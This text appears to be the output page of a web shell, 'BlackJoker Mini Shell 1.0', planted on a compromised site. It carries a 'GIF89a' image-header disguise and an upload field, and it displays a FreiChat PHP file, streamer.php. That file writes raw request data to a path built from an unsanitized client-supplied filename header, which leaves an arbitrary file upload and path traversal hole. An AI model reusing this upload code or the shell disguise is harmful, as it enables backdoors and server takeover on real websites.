GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/public_html/freichat/administrator/admin_files/theme_maker/
Upload File :
Current File : /home/serb/public_html/freichat/administrator/admin_files/theme_maker/streamer.php

<?php
class File_Streamer
{
	public $_fileName;
	private $_contentLength;
	private $_destination;
	
	public function __construct()
	{
		if (!isset($_SERVER['HTTP_X_FILE_NAME']) 
			&& !isset($_SERVER['CONTENT_LENGTH'])) {
			throw new Exception("No headers found!");
		}
		
		$this->_fileName = $_SERVER['HTTP_X_FILE_NAME'];
		$this->_contentLength = $_SERVER['CONTENT_LENGTH'];
	}
    
    public function isValid()
    {
        if (($this->_contentLength > 0)) {
            return true;
        }

        return false;
    }
    
    public function setDestination($destination)
    {
    	$this->_destination = $destination;
    }
    
    public function receive()
    {
        if (!$this->isValid()) {
        	throw new Exception('No file uploaded!');
        }
		
        file_put_contents(
        	$this->_destination . $this->_fileName, 
        	file_get_contents("php://input")
        );
        
        return true;
    }
}

?>

./BlackJoker Mini Shell 1.0